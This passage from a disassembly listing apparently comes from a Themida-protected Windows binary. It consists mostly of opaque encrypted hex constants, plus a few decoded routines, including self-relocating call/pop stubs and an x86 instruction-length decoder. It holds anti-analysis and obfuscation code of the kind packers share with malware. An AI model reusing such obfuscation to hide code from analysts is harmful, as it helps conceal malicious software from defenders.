5F6BD865h dd 0A30555C6h, 17FFB1BCh, 237BFF04h, 3545F4D1h, 51B628F1h dd 7DFCA25Fh, 80547AF0h, 3A16485Fh, 0FCADE1A9h, 30A4790Eh dd 0AC22D397h, 65C78275h, 83645801h, 0B3F77411h, 0E2D50C82h dd 0A9FD907Fh, 65570B88h, 675911A0h, 1C857827h, 126A4C99h dd 4B777B87h, 48F993Fh, 0C6330000h, 584C9D0Fh, 0FCEC3DAFh dd 9908D14Bh, 35A376F6h, 324A0C90h, 4DDF7462h, 0EF7D0AFCh dd 821AA91Ah, 23B944B7h, 0DD822466h, 6518003Ah, 4C3F3C14h dd 1000001h, 0B0BF1155h, 1011B591h, 880D4FC3h, 0A85F7139h dd 180FFE3Dh, 0E7DA83CBh, 574B125Ch, 0B221F8AEh, 821C921Fh dd 0E5B944B7h, 0F1DF3697h, 6AF7065Ch, 14A8EC20h, 35ADB2h dd 0ECC01518h, 18003603h, 9EA036BFh, 1648E4C6h, 0FEAFEF74h dd 1DEC700Bh, 694B1FAAh, 195D1DACh, 0FFA35C50h, 6D99675Ah dd 61EE3504h, 47CBC3EDh, 0CF9E1C86h, 0EA92DE0h, 55A1DDC5h dd 0BCCC777Ch, 3DC1Ah, 0D2796600h, 720BFF4Ah, 1EAF1FEAh dd 0B94CBB8Eh, 23E8D623h, 957F07B9h, 2FFA6227h, 4D9C00BDh dd 0EA3FAD5Ch, 0B9D04CF7h, 3B905F71h, 0A7301800h, 32CDC0E1h dd 6A59006Ch, 0FC7283A7h, 5317B225h, 0A25D60F0h, 86DA942Fh dd 0B5913F20h, 0FC728311h, 0A89E0862h, 74F9D87Ah, 0B5000000h dd 91CAE398h, 3B3A6021h, 73AEA19Ah, 8455CDFFh, 551ABC16h dd 0ED11B591h, 0B6471B98h, 0EA5B7220h, 0CBDD85A0h, 0FCE7533h dd 16E1C78Bh, 0AA0FF106h, 58481159h, 0C736E7B7h, 5C108E04h dd 22B9A618h, 0FC0917FBh, 247A6876h, 4F4217FBh, 0A57428B4h dd 0C9009633h, 0D7F70D9h, 0FB22C4ABh, 6AF77C17h, 0E2B80534h dd 9DA4B39Eh, 0B181DF5Ah, 30F1B3Dh, 0C0650000h, 66A30CFh dd 18AD1BC2h, 0B5912B34h, 0C84E9711h, 0ABE39E11h dd 91AEB117h, 0C11211B5h, 9306D34Dh, 0E8DBB2E8h, 24E1CF5Dh dd 8FE3C595h, 290FF0A2h, 0BD886DCh, 0D117FAC4h, 0A57C22DFh dd 0D118AC31h, 0E0420CC8h, 0DC6C3F63h, 0D90156C9h, 3CE19E10h dd 17B539CEh, 545A4C0Eh, 0F509DEC0h, 0FB390CD3h, 2CD7CA17h dd 175CC776h, 3DD383h, 5BE10000h, 259BD362h, 0FF09DF1h dd 1C60064Fh, 0E6CA3031h, 73A885D0h, 624CC283h, 17FB8F71h dd 7C243927h, 95BC86D1h, 0FB5B2C33h, 0E64F9417h, 56DC85E4h dd 0C0A08660h, 0A8D1DEh, 0C0E30000h, 956C32CDh, 653C6227h dd 3A93D772h, 0AEA03CC7h, 11B59FB8h, 33A28578h, 0AE2BCA90h dd 4DF8EB3Eh, 53E2DB19h, 0A9EDA51Bh, 3A4B0FF0h, 0D59A3C70h dd 6D17FAC1h, 0B8FC9218h, 0CD4100F1h, 0FFBF0E8Fh, 44FFF2BBh dd 5DD0E0CEh, 0E1721642h, 251280A9h, 0A05115B4h, 7727C8EEh dd 4A9B1E42h, 1C8A5FCDh, 8A394F77h, 0C444712Eh, 1F492h dd 0AA614E00h, 4AF3E732h, 0F69707D2h, 9134A376h, 3BD03E0Bh dd 0FD972FA1h, 17E27A0Fh, 0B58418A5h, 0D2278544h, 0C1B824DFh dd 3D786759h, 0BFC81800h, 3DD2C099h, 0DC675AAFh, 625B1240h dd 0F1259BD3h, 0A40FF09Dh, 0F34702F5h, 0F3FCD264h, 4F17FA95h dd 8AD06B5Eh, 3D61EE6Bh, 0FA97C093h, 85549617h, 0ABF2D14h dd 0D258A554h, 796D2D30h, 2EDEBFACh, 0A8FE8F7Fh, 0D0550589h dd 19000000h, 29AD6250h, 32CDC01Bh, 6227956Ch, 9FC4923Ch dd 910411B5h, 30A376F6h, 7D2DC7B1h, 6C2E57C4h, 0B63AA54Ah dd 4BC81D11h, 51E02517h, 4EEBA719h, 384D0FF1h, 2A8CC0A4h dd 17FB6645h, 54CF68FDh, 3583AFDh, 0C5C0B238h, 4B843A74h dd 0F7164295h, 0BDE82C6Eh, 0A59959D3h, 528B0F70h, 3EEFAF64h dd 27B93DCEh, 65269647h, 0FCEB30C1h, 9E0CC549h, 3C01C9E9h dd 0BCCC712Fh, 0FC1Ah, 0B2594600h, 52EBDF2Ah, 0FE8F7FCAh dd 992C9B6Eh, 3C83603h, 0F59F2799h, 0FDA4207h, 0AD7CE09Dh dd 0CA1F8D3Ch, 0D9B02CD7h, 3E707F51h, 87D01800h, 0CEF85581h dd 0F231021Dh, 28964FC3h, 0BD30F963h, 82D86B5Ah, 0D75718BEh dd 9AEB11B5h, 28D7C81Dh, 0C00331ABh, 956C32CDh, 0AF056722h dd 399FDF6Eh, 0FFE3D56h, 9DD199EAh, 35343Bh, 9E416718h dd 22180035h, 6DE172D1h, 86695C35h, 0F2E7417h, 0DF5CE7DAh dd 5140694Dh, 0C549E8BEh, 8D23990Ch, 180035E2h, 0D288155Eh dd 84A3B18Ch, 210C00AAh, 52400C8Ah, 0F83C0EBDh, 90F33C90h dd 0F80D9F13h, 0AD3FCA3Dh, 88DE695Ch, 5B0FC231h, 2C721182h dd 1A66355h, 0D3AAF091h, 0FE7F23E2h, 0E5788DC7h, 548F962Eh dd 0C594A661h, 0CC816FD2h, 941A1B4Fh, 1BC2FFAh, 137B5Dh dd 55450000h, 86D24AF8h, 8A02C6CEh, 57D97A49h, 0F3B53913h dd 3CD3C0DDh, 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h dd 0D86D5B32h, 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 545376FDh dd 4C3815Bh, 83000000h, 1C8704EBh, 83685C24h, 89000071h dd 0EE68240Ch, 8900003Bh, 68572404h, 0EF25B2Bh, 0F9C7815Fh dd 570CDC1Bh, 5F2414F7h, 1291F781h, 0C78112E9h, 0F720A3Dh dd 835FF989h, 248904ECh, 24048124h, 4, 4815158h, 1A158924h dd 8408F1Dh, 1589BB53h, 58291D1Ah, 48B5B08h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_545D4D ; --------------------------------------------------------------------------- db 25h dd 119882D8h, 773E1F58h, 4AAEA7B8h, 0FFC50306h, 70551CE0h dd 7A2AF75h, 0DF6B8D14h, 39BD7D54h, 0BE8D1D61h, 1D98E87Ch dd 7901F04Eh, 3101965h, 6D07E30Ch, 23676560h, 4FF2BA3Fh dd 0BBBA9D51h, 0E330C043h, 368AF316h, 5FF6C407h, 0E4565313h dd 0CCDC8E5Ah, 40BF9C0Fh, 13D15C2Bh, 9C2EE343h, 417C7E43h dd 0B5B84B22h, 6F4F757Ah, 5E867h, 2FEC0000h, 0FC677A2Ch dd 81F98B5Bh, 63A4C3h, 5E20BF00h, 0C0335239h, 0B860Fh dd 81600000h, 13E367D6h, 0D9B70F4Ah, 3348B61h, 1C830Fh dd 8B0F0000h, 16h, 11E9h, 0CA704500h, 0E7CAC5A4h, 3E006C75h dd 6978EFD2h, 0EE81B27Ah, 1BBA6F72h, 9129BF66h, 54AF681h dd 0EE8A2B3Ah, 0C710C681h, 81664648h, 566597C9h, 6E8h dd 0AD7D5D00h, 0FBCDFE0h, 8F59D0BFh, 66600304h, 0FC61C9BFh dd 0E883FC61h, 8E903h, 0E5970000h, 26786617h, 0E94855ECh dd 5, 1542944Fh, 20F88104h, 0FFFFF9Dh, 0C85h, 17E9F500h dd 6000000h, 0CC9857AFh, 0E9D08AF3h, 0FFFFFF69h, 0E39AF4AAh dd 0FF54839Ch, 8D8DD734h, 64AB151h, 191BD29h, 8D890645h dd 6452A01h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0E9C35747h, 0D37024A8h, 3D585C7h, 60600645h, 0BF660000h dd 85C7F195h, 645095Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F6C35242h dd 48BD17D2h, 0FFAE0395h, 4523ADB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0EBE63A62h dd 48B0F7Fh, 66000000h, 0FF6705BBh, 452A1195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 30F22DF9h, 0B4249CB6h, 1E6B860h, 0E28121CBh, 149B186Eh dd 0FF006A61h, 45312195h, 0EBC08B06h, 67697F6Ah, 7409B1FDh dd 9C075CE0h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 8329CB63h dd 0B3BB5F53h, 0DE146D78h, 1AC215D8h, 0C9873132h, 0A821F2A4h dd 53CBDD2Ch, 0C7A964E7h, 0C1B62F16h, 6B88DBCAh, 0F8BB167Bh dd 51300317h, 8900CD49h, 77BBE307h, 9412FB49h, 407C46A7h dd 2B51E216h, 7E746F35h, 9696FED6h, 1151283Eh, 0E9A028D7h dd 1C8h, 8 dup(418888h), 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db '',0 aIssi db '',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDD',0 aAs db '',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 1, 14h dup(0) aAcawu db 'Γcνwu',0 align 4 dd 1, 11h dup(0) dd 353E9h, 0E85500h, 5D000000h, 0B398ED81h, 0C760064Ah dd 4AB2E585h, 6, 3E816600h, 850FA166h, 0Fh, 0B2E985C7h dd 6064Ah, 24E90000h, 8D000000h, 4AB2ED85h, 858D5006h dd 64AB33Dh, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 0E9858900h dd 61064AB2h, 0B2E9B503h, 858B064Ah, 64AB2E5h db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_599397 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5993A3 ; --------------------------------------------------------------------------- loc_599397: ; CODE XREF: Themida_:00599380j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5993A3: ; CODE XREF: Themida_:00599392j push ebx push esi push edi loc_5993A6: ; CODE XREF: Themida_:005993FBj ; Themida_:00599417j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5993B9: ; CODE XREF: Themida_:005993E0j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 64AB44Fh lea ebp, [ebp+64AB2C5h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5993E6 inc cl cmp cl, 0Bh jb loc_5993B9 loc_5993E6: ; CODE XREF: Themida_:005993D5j cmp cl, 0Bh jz loc_599443 cmp al, 66h jnz loc_599424 cmp byte ptr [ebp-5], 0 jnz loc_5993A6 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59941C mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5993A6 ; --------------------------------------------------------------------------- loc_59941C: ; CODE XREF: Themida_:00599409j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_599424: ; CODE XREF: Themida_:005993F1j cmp al, 67h jnz loc_5993A6 cmp byte ptr [ebp-6], 0 jnz loc_5993A6 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5993A6 ; --------------------------------------------------------------------------- loc_599443: ; CODE XREF: Themida_:005993E9j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59946F movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_599474 ; --------------------------------------------------------------------------- loc_59946F: ; CODE XREF: Themida_:0059944Ej movzx edi, al shr edi, 1 loc_599474: ; CODE XREF: Themida_:0059946Aj push ebp call $+5 pop ebp sub ebp, 64AB507h lea ebp, [ebp+64AB1C5h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5995F6 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59953A dec ecx jz loc_59951D dec ecx jnz loc_59958D cmp byte ptr [ebp-2], 0 jnz loc_599589 cmp byte ptr [ebp-5], 0 jz loc_5994FC mov byte ptr [ebp+0Bh], 2 loc_5994FC: ; CODE XREF: Themida_:005994F2j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 64AB593h mov dword ptr [ebp+64AB2E5h], 1 pop ebp jmp loc_59958D ; --------------------------------------------------------------------------- loc_59951D: ; CODE XREF: Themida_:005994D7j cmp byte ptr [ebp-2], 0 jnz loc_599567 cmp byte ptr [ebp-5], 0 jz loc_599567 mov byte ptr [ebp+0Bh], 2 jmp loc_599567 ; --------------------------------------------------------------------------- loc_59953A: ; CODE XREF: Themida_:005994D0j cmp byte ptr [ebp-2], 0 jnz loc_599580 cmp byte ptr [ebp-5], 0 jz loc_59956F movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_599567 mov [ebp+0Bh], cl loc_599567: ; CODE XREF: Themida_:00599521j ; Themida_:0059952Bj ... inc byte ptr [ebp+0Bh] jmp loc_59958D ; --------------------------------------------------------------------------- loc_59956F: ; CODE XREF: Themida_:00599548j cmp dl, 5 jnz loc_59958D mov [ebp+0Bh], dl jmp loc_59958D ; --------------------------------------------------------------------------- loc_599580: ; CODE XREF: Themida_:0059953Ej cmp dl, 6 jnz loc_59958D loc_599589: ; CODE XREF: Themida_:005994E8j mov byte ptr [ebp+0Bh], 3 loc_59958D: ; CODE XREF: Themida_:005994DEj ; Themida_:00599518j ... dec byte ptr [ebp+0Bh] jz loc_5995BB movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59959D: ; CODE XREF: Themida_:005995B3j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59959D mov esi, edx loc_5995BB: ; CODE XREF: Themida_:00599590j and al, 0FEh cmp al, 0F6h jnz loc_5995F0 cmp edi, 7Fh ja loc_5995F0 test bl, 38h jnz loc_5995F0 cmp byte ptr [ebp-7], 0 jz loc_5995EA movzx eax, byte ptr [ebp-4] jmp loc_5995ED ; --------------------------------------------------------------------------- loc_5995EA: ; CODE XREF: Themida_:005995DBj push 1 pop eax loc_5995ED: ; CODE XREF: Themida_:005995E5j mov [ebp-1], al loc_5995F0: ; CODE XREF: Themida_:005995BFj ; Themida_:005995C8j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5995F6: ; CODE XREF: Themida_:005994A0j mov al, bl and eax, 7 sub eax, 4 jz loc_599621 dec eax dec eax jz loc_599617 and bl, 7 add [ebp-1], bl jmp loc_599629 ; --------------------------------------------------------------------------- loc_599617: ; CODE XREF: Themida_:00599606j mov al, [ebp-3] add al, 6 jmp loc_599626 ; --------------------------------------------------------------------------- loc_599621: ; CODE XREF: Themida_:005995FEj mov al, [ebp-3] add al, 4 loc_599626: ; CODE XREF: Themida_:0059961Cj add [ebp-1], al loc_599629: ; CODE XREF: Themida_:00599612j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_599651 movzx ecx, byte ptr [ebp-1] inc ecx loc_59963C: ; CODE XREF: Themida_:0059964Bj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59963C loc_599651: ; CODE XREF: Themida_:00599631j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dd 8D8DD08Bh, 64AB7AFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0C6C35141h, 0B70F3ACAh, 18D89F8h, 6A06452Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E800C351h, 0Dh, 0BB9BA3CEh, 665A310Fh, 1170B245h dd 0CE9E0h, 0C1590000h, 0B66E9E8Bh, 9B9283B2h, 0C75BCEE8h dd 4503D585h, 69C006h, 5D85C700h, 64509h, 0BE000000h, 574A74F5h dd 631B5FFh, 0FFF50645h, 452A1195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D08154FDh dd 0E94E3C6Dh, 7, 0FDAAA401h, 6A92CB96h, 2195FF00h, 8B064531h dd 0F26CEBC0h, 440122F4h, 2F37200Fh, 74221981h, 9109D443h dd 9F27EAA9h, 0D2FEFA04h, 1EA3E3AFh, 0B8FD6C20h, 275FAF1Eh dd 0F41CA7BAh, 2FC4FFA4h, 195556B4h, 3B7D8BDEh, 975F9F68h dd 7555DA71h, 0E7CD6652h, 17CB314Eh, 0FB93D83Ch, 49D10E6Ch dd 3BD9CF4Dh, 0C4144334h, 7929F122h, 0DB2D1860h, 540E1925h dd 9B2ABBD8h, 1A7A01C0h, 0EB08EE3Ah, 2262DB08h, 0E7339C3Bh dd 0D8AE977h, 0C5680000h, 0E9064AB9h, 0FFFAC5A1h, 4ABAD468h dd 0C597E906h, 6B68FFFAh, 0E9064ABCh, 0FFFAC58Dh, 4ABDB168h dd 0C583E906h, 3B68FFFAh, 0E9064ABFh, 0FFFAC579h, 4AC16D68h dd 0C56FE906h, 1268FFFAh, 0E9064AC3h, 0FFFAC565h, 4AC3FD68h dd 0C55BE906h, 52BFFFFAh, 0E4D821BBh, 8878C15Bh, 259465C7h dd 0C12FFA62h, 0A63E900Ch, 0D14B00EEh, 73E99608h, 169635A6h dd 0B735D0C3h, 6976A8D2h, 0D9180049h, 0CDC08888h, 0CC006C32h dd 0B59205EAh, 20D7BF11h, 0F5F51B99h, 58B1054Eh, 6242DA65h dd 0EEE14CBBh, 61EE0F53h, 38BE49BCh, 0B8F2437Ah, 0F0E3EC06h dd 65394A0Fh, 0FB05687Bh, 1B223E17h, 0C016677Fh, 3D30DEh dd 5B820000h, 259BD362h, 0FF09DF1h, 1C60064Fh, 15355F31h dd 0A22850CEh, 0FB13C79Ch, 0ED9C0D17h, 8C5375B9h, 3417FB11h dd 0C78C7AAFh, 223BB9A3h, 576EFABFh, 0C028A303h, 0E4FCDEh dd 55CE0000h, 0FD711684h, 5016B124h, 0E9F6286Ch, 5911B591h dd 614F860Ch, 0AC1FF6ACh, 1F905911h, 0B73B3A60h, 0E89306DFh dd 9E505274h, 259811B5h, 9809D09Ah, 8BEB65E9h, 0DC52F1E2h dd 0B3F79205h, 9B91E24Fh, 499CB347h, 3F632494h, 0C3FAB83Eh dd 49E43872h, 8129D563h, 0D1FF7394h, 0FF18405h, 0F2B22ABBh dd 0DD65357h, 5ED4721Ah, 5F50B91Ch, 0B56B23A0h, 16441112h dd 441525AEh, 4B2BB156h, 4B9033A2h, 43F2A85Dh, 0E3A816CFh dd 302E89C3h, 42149471h, 0B29h, 6BF19805h, 0B912A9Eh, 0AF3DCE3Eh dd 44D86B5Ah, 0DA4207F5h, 46B46078h, 0DCCE1B81h, 7B6CBD2Fh dd 168950CCh, 1698F16Bh, 4AAFB0h, 0C2C61318h, 0AF3DD2C0h dd 92DC675Ah, 120CDDCBh, 12E1C6F5h, 0A9481E9Bh, 22CBAB25h dd 0A05115AEh, 625B182Ah, 0F1259BD3h, 4F0FF09Dh, 657E6006h dd 3B17FA97h, 6442182Dh, 3FDEBFACh, 0FEh, 32CDC08Dh, 823FB178h dd 0FFD540Ch, 11D8247Ah, 0C73AEFA2h, 43D7663Ch, 0B59E357Dh dd 0F2D46811h, 11B596EDh, 538A0055h, 0F247A560h, 1BAC1CFFh dd 7529B647h, 67378607h, 544A44B6h, 11B5968Bh, 0AD21AE37h dd 9517CFE1h, 91A90FF0h, 537D8C8h, 17FAA95Ah, 0FBDD9DE6h dd 17FAA9F4h, 22BA074Ch, 9335494Ch, 17FAA9CCh, 2862EF74h dd 424842F6h, 0B82B8016h, 8ACE800Dh, 425C4B14h, 0E86EF71Eh dd 4207F5A4h, 21A10FDAh, 425CE08Fh, 931621Eh, 0BC0E4627h dd 674FCC19h, 712E122Bh, 1AF0E622h, 1400000Ah, 0AD7CE0A7h dd 0CD1C8039h, 69B02CDDh, 8455D77Ah, 69EB7116h, 0B0554351h dd 5EEBDD2Ch, 0FB8A7BCEh, 9A259861h, 0A1078702h, 18004BBEh dd 55D3F502h, 21511284h, 0C20DD7ACh, 35C49AE7h, 0C79C4365h dd 0DF2411B5h, 5B14825Bh, 6B59B933h, 0D07180A6h, 1865838Fh dd 8742B584h, 0CDC03F25h, 59006C32h, 7D0EFE6Bh, 0D78B0829h dd 8679D026h, 8A0361FBh, 6E3F733Bh, 7947CB80h, 0FF09195h dd 0B590DA2Bh, 826BB7B5h, 0A2FA70DFh, 0FA98263Ch, 0DBE27E17h dd 0BFA927BFh, 69070DEh, 5B420000h, 259BD362h, 0FF09D75h dd 0E2ECB2C3h, 17FA97F1h, 5E04C937h, 33771687h, 92293CB4h dd 5CE1B4EBh, 84C95650h, 0CDD98184h, 9ADEC02Ah, 0F7F6046h dd 0B2C317FBh, 6547C3Ch, 5B4E0000h, 0D29BD362h, 0EDD125DEh dd 0ACB315A9h, 1411B591h, 0DD654BCFh, 5B0FF0A0h, 3D68540Ah dd 0C8E27F2Ch, 0D0F6B829h, 17FAEF0Fh, 82AC22B3h, 17FAF1D1h dd 0DC849987h, 44B49D0Dh, 0D1600683h, 28B1B5Dh, 6DD8DEC0h dd 0AC6AFC64h, 4E0E8404h, 602h, 0F1887A7Ch, 0F3D565D4h dd 0FF08A07h, 6F0D24B1h, 8BE5D25Bh, 7A089D38h, 444956C4h dd 3294A623h, 0A24B4AACh, 6CA4E512h, 7098A0BAh, 484DAFF3h dd 491FB1F9h, 0FBA89091h, 0B35E01A7h, 299CB09Ah, 8A29C89Eh dd 0EBB2FC79h, 9BC74BFAh, 67249647h, 467832C3h, 0B09AB399h dd 0FF56DC29h, 1EEB710Ch, 0E23610ABh, 9B0386B9h, 883490Fh dd 3EAB0000h, 0D0C41597h, 7464B537h, 118049D3h, 0AD1BEE7Eh dd 0BAC28418h, 0C527ECDAh, 67C58274h, 0FA622192h, 9B01BC2Fh dd 551ABCFEh, 0ED18004Dh, 0F855A49Ch, 0B4276095h, 3A45509h dd 189EE064h, 6F33CEC1h, 7139880Dh, 0FE7FAE5Fh, 67C50E0Fh dd 9F9E65h, 4893C18h, 3876F691h, 40662891h, 18009FA7h dd 0D980CA1Bh, 0FE8F7FEAh, 59A5FD71h, 396D2290h, 685BB238h dd 67599DDDh, 18009F78h, 9937BBC8h, 9FBCA7h, 0AA910218h dd 9F0D8A39h, 0ED9E0EDFh, 53ECE0B9h, 0ED61EE0Fh, 6006C134h dd 71657Eh, 61F2918h, 6D2DD8CBh, 0C0DCE4C0h, 5D943DD2h dd 0AD23B75Fh, 88DE695Ch, 0A14E60A4h, 21180013h, 3B249AD4h dd 87180013h, 0FDD6F87Eh, 2D180004h, 8EC292ABh, 234728h dd 0E46AFB18h, 4F0FBA2Dh, 0C79B309Eh, 231AC5FBh, 5DA61800h dd 0E0C45AD0h, 0DB8E0545h, 5DD1FD03h, 12C7Bh, 0CDC04500h dd 24956C32h, 0D09FC165h, 0E11B591h, 0FFAEE09Bh, 0A0F87E0Fh dd 6A1F8D5Ch, 0A617B6E4h, 4D1C5094h, 0E08FAD5Ch, 6011B591h dd 7B21B213h, 7B15A1D7h, 9424E9F7h, 4B980FFEh, 0ECBB336Bh dd 88CE5A6Ah, 73Dh, 5FCD8471h, 0FF6D168Ah, 9309BA2Ah, 28B45746h dd 0CE5EF3E1h, 32A0740Ch, 0C83A0F9Dh, 6758A13Bh, 2F544D8h dd 7AA4E547h, 4E9B44h, 0FEDA2718h, 7832CDC0h, 684E3EB1h dd 11B59187h, 0A92DAA3Bh, 0E5AA18F1h, 8241B287h, 0ECDCCF1Ah dd 0B59125CAh, 0A1109D11h, 0F72961EEh, 11B591E8h, 1E8E0B58h dd 7228DDCBh, 0D6982D9Bh, 2CD9CB92h, 0B5915F00h, 9E2B9D11h dd 798A29C8h, 3ECE9DF5h, 0DBCC7927h, 34778D99h, 8916BB29h dd 29DECC05h, 32EDF9B3h, 0F3BAD87Bh, 1B1A4005h, 7337D4C6h dd 70C4CC2h, 0BE000000h, 783Fh, 0CDC00100h, 71626C32h dd 5911B583h, 0D8CB061Fh, 4BBC6D2Dh, 9257E6BCh, 3F3E641Fh dd 0E3D425BBh, 82507E24h, 1911B5A3h, 0D029E845h, 0CC3AF627h dd 93C1C446h, 0A337DCCAh, 52CA796Ah, 30CFC06Ch, 0A43DAF7Eh dd 5081CB4Fh, 0D125A285h, 5F71B5F9h, 11B68B90h, 0F62FA330h dd 43204605h, 8071ACB1h, 70795BC1h, 0E211B693h, 7BA647A2h dd 0FEA01CD8h, 3FAEFFFFh, 32Eh, 32CDC001h, 9181626Ch, 534711B5h dd 0AB1DF4AAh, 25BF481Eh dd 0AE26BD20h, 0DE695C97h, 2EDBCD9Ch, 0DB75F978h, 0BAE09B0Eh dd 9439A776h, 85AB2FCEh, 11B591DEh, 0E5DBB124h, 11B591FAh dd 0F9E83D46h, 64E11056h, 68D9FC3Eh, 0CA3BE226h, 0A55F2B1Fh dd 4DCAF8F0h, 4C921819h, 0FFE75C1h, 0A6CEE87Dh, 0A76AEC9Bh dd 5B37563h, 0EFB0000h, 0A014E547h, 44B485E7h, 0E1D01983h dd 7D6BBE2Eh, 0EAF254C8h, 9517BC2Ah, 37B55244h, 0CA52F1E2h dd 6BF18C7Fh, 25CAEC2Eh, 9D180050h, 0CDC0744Ch, 59006C32h dd 3E90DA67h, 11B59131h, 17CE4491h, 59CFC0A9h, 333EC181h dd 0F0E336B6h, 64540555h, 0F87EFFA3h, 60259366h, 8875633Ah dd 4BF3215h, 87643A87h, 47B57075h, 12B4C882h, 11B5C54Dh dd 640BADF5h, 0DC11B5C5h, 0B1A90A97h, 0ED31279Bh, 0DF89078Bh dd 0D87B37C7h, 23590h, 6E5B2200h, 0E5621B8Fh, 94361F41h dd 0F868165Ah, 0A331B5E5h, 1B6AD769h, 58000002h, 87D76E5Bh dd 0B5913E21h, 4D56911h, 80B1F592h, 0B591C3ACh, 0F48D0111h dd 0DF248FAEh, 3377FC5Bh, 5A94A8ADh, 576EFA16h, 69A3A303h dd 1E8FCD7h, 7CB00000h, 0A488955Ah, 52D82D10h, 15845510h dd 915619BFh, 99EA11B5h, 23B7461Ch, 0A9E15871h, 0B5916477h dd 0DB8FD411h, 5A94D0F5h, 7F868216h, 69A3CBDBh, 1B094D7h dd 91580000h, 3F3E641Dh, 845589BBh, 317512h, 78C1C88Ah dd 91D79036h, 0D98011B5h, 4D327EAh, 0D28835A7h, 0DE80A623h dd 165A93F7h, 0FEA6BFA9h, 8D01BC2Fh, 69A2DBCBh, 17484D7h dd 0C0360000h, 0CC776ACDh, 441A6796h, 0DD4FFAEDh, 0C5A33697h dd 4DB81BC9h, 0EDB15242h, 842CF4Ch, 0F15D5C96h, 0DBFD310Fh dd 17FB7D14h, 4D327ACh, 0DA0014DBh, 179438BCh, 0C2560D53h dd 1C0C17FAh, 0D3555109h, 470EDEBFh, 0C2000000h, 0B847288Eh dd 6AFB17FAh, 625BC6E4h, 0F1259BD3h, 4F0FF09Dh, 35A57406h dd 0AF5E4F94h, 9CF47AFBh, 0B5BA1C50h, 0D17FA95h, 776C72F8h dd 2D17FA97h, 428B40EDh, 0FA690045h, 8BCFD674h, 0DEC0461Bh dd 0B044h, 0CDC07600h, 27956C32h, 72653C62h, 0C73A93D7h dd 84AEA03Ch, 4C11B59Eh, 7E3EAE59h, 0C28C41AFh, 0B59703ECh dd 0A036BF11h, 206ADBF2h, 3FCA3DECh, 369595BBh, 0D2230FFDh dd 0E3E3D198h, 0FD4A22CDh, 0C8559E17h, 72178554h, 0E9512650h dd 85D3576Ah, 381h, 138940ADh, 0B329D2C6h, 57D57666h, 0EC701382h dd 821AAF1Dh, 0EEDCB8C0h, 8476C359h, 239465C7h, 0BE31F864h dd 0BEE09903h, 525718h, 0BA9EEB18h, 5519D2C0h, 0FDA09BDFh dd 0A277F572h, 